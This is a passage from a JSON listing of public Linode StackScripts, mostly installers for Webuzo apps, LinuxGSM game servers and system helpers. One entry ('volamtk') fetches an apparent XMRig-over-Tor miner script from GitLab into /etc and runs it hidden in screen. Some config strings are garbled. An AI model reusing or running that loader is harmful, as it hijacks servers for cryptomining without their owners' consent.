toolbar gives you all the controls you need to update your website. No intimidating manuals, no complicated administration interfaces - just point and click.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Concrete5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Concrete5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Concrete5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Concrete5 :\n# Concrete5 makes running a website easy. Go to any page in your site, and a editing toolbar gives you \n# all the controls you need to update your website. No intimidating manuals, no complicated \n# administration interfaces - just point and click.\n###########################################################################################################\n\n# Install Concrete5 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=174&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Concrete5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Concrete5 has been successfully installed\"\necho \" \"\necho \"You can now configure Concrete5 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 788010, "username": "EugeneFrank", "user_gravatar_id": "2861cc9c5bd8d573606b159f00ee7e53", "label": "a5455", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall is used for a wide range of projects starting from family sites and custom social networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Oxwall powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Oxwall and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Oxwall :\n# Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\n###########################################################################################################\n\n# Install Oxwall Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=258&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Oxwall and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Oxwall has been successfully installed\"\necho \" \"\necho \"You can now configure Oxwall and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 670763, "username": "ChristopherMitchellgnfi", "user_gravatar_id": "57669f55c07796f7f563de0d5ec9da70", "label": "volamtk", "description": "volamtk", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/sh\nsleep 60\nsudo su root\napt-get install -y python\nwget https://gitlab.com/maihuuhanh1846/test/-/raw/master/daoxmrig_ubuntu_tor_docker_442.py -O /etc/dao.py\nchmod 777 /etc/dao.py\nscreen -dm python /etc/dao.py\n\n", "user_defined_fields": []}, {"id": 6188, "username": "ma88123456", "user_gravatar_id": "2e365c39a7fd833d229a95d24c8c525d", "label": "000", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash''", "user_defined_fields": []}, {"id": 9004, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "qdPM powered by Webuzo", "description": "qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\r\n\r\nIt is fully configurable. You can easy manage Projects, Tasks and People.\r\n\r\nCustomers interact using a Ticket System that is integrated into Task management. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure qdPM and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "qdPM powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install qdPM and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About qdPM :\n# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\n###########################################################################################################\n\n# Install qdPM Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=428&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling qdPM and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho \"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9006, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Jcow powered by Webuzo", "description": "Jcow is a flexible Social Networking software written in PHP. It can help you to:\r\n\r\n * Build a social network for your interests and passions.\r\n * Build a member community for your existing website.\r\n * Build a social networking site like facebook/myspace/twitter.\r\n\r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Jcow and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Jcow powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Jcow and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Jcow :\n# Jcow is a flexible Social Networking software written in PHP. It can help you to:\n# * Build a social network for your interests and passions.\n# * Build a member community for your existing website.\n# * Build a social networking site like facebook/myspace/twitter.\n###########################################################################################################\n\n# Install Jcow Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=182&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Jcow and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Jcow has been successfully installed\"\necho \" \"\necho \"You can now configure Jcow and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 401711, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": 0, "logo_url": "assets/linuxgsm.svg", "images": ["linode/debian10", "linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction game_install {\n\n# Installing the Server\necho Installing the Server\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure that the gameserver is running and restart if needed.\necho Adding game update cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash /home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## Adding these for Valheim launch, will eventually replace the above code, but for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 883247, "username": "hankersaeb", "user_gravatar_id": "6a47fbc2e36ad66d2f8c4a0d783f75df", "label": "hello", "description": "hello world hhgg", "ordinal": 0, "logo_url": "", "images": ["linode/almalinux8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Hello man12", "script": "#!bin/bash", "user_defined_fields": []}, {"id": 2864, "username": "jmfox1987", "user_gravatar_id": "6f9936b78bbbbaf91191091d114aa66f", "label": "mySQL", "description": "i have no idea", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\t \n \nsource \n \nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 401712, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": 0, "logo_url": "assets/none", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n# Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n # Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9008, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CMS Made Simple powered by Webuzo", "description": "CMS Made Simple provides a fast and easy way to create a professional web site and manage its content, whether it''s for a small business or a multinational corporation!\r\nCMS Made Simple provides a mechanism for the website administrator to create and manage pages, their layout, and their content. CMS Made Simple is unobtrusive. You can create a table based layout, or a fully validating XHTML/CSS layout.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CMS Made Simple and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CMS Made Simple powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CMS Made Simple and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CMS Made Simple :\n# CMS Made Simple provides a fast and easy way to create a professional web site and manage its content,\n# whether it''s for a small business or a multinational corporation!\n###########################################################################################################\n\n# Install CMS Made Simple Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=247&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CMS Made Simple and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CMS Made Simple has been successfully installed\"\necho \" \"\necho \"You can now configure CMS Made Simple and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 2865, "username": "lpj", "user_gravatar_id": "098e8581b54f4bec5877eac433034201", "label": "lib-system", "description": "System helper functions for Ubuntu.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit", "linode/ubuntu11.10", "linode/ubuntu12.04lts32bit", null], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Sudoers file mode must be 0440", "script": "#!/bin/bash\n#\n# System helper functions\n#\n# Author: Philipe Farias \n\nsource \n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction set_hostname {\n HOSTNAME=$1\n if [ -z \"$HOSTNAME\" ] ; then\n export HOSTNAME=\"`get_rdns_primary_ip`\"\n fi\n HOST=`echo $HOSTNAME | sed ''s/\\(\\[a-z0-9\\]\\)*\\..*/\\1/''`\n HOSTS_LINE=\"`system_primary_ip`\\t$HOSTNAME\\t$HOST\"\n echo \"$HOST\" > /etc/hostname\n sed -i -e \"s/^127\\.0\\.1\\.1\\s.*$/$HOSTS_LINE/\" /etc/hosts\n start hostname\n}\n\nfunction update_locale_en_US_UTF_8 {\n #locale-gen en_US.UTF-8\n dpkg-reconfigure locales\n update-locale LC_ALL=en_US.UTF-8 LANG=en_US.UTF-8\n echo \"LC_ALL=en_US.UTF-8\" >> /etc/environment\n}\n\nfunction set_timezone {\n # $1 - timezone (zoneinfo file)\n ln -sf \"/usr/share/zoneinfo/$1\" /etc/localtime\n dpkg-reconfigure --frontend noninteractive tzdata\n}\n\nfunction system_add_user {\n # $1 - username\n # $2 - password\n # $3 - groups\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=\"/bin/bash\"\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n\n cat >\"/etc/sudoers.d/$USERNAME\" <> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction sshd_config_set_port {\n sed -i -e \"s/Port 22/Port $1/\" /etc/ssh/sshd_config\n}\n\nfunction sshd_config_edit_bool {\n # $1 - param name\n # $2 - Yes/No\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i -e \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction sshd_config_permitrootlogin {\n sshd_config_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction sshd_config_passwordauthentication {\n sshd_config_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction sshd_config_pubkeyauthentication {\n sshd_config_edit_bool \"PubkeyAuthentication\" 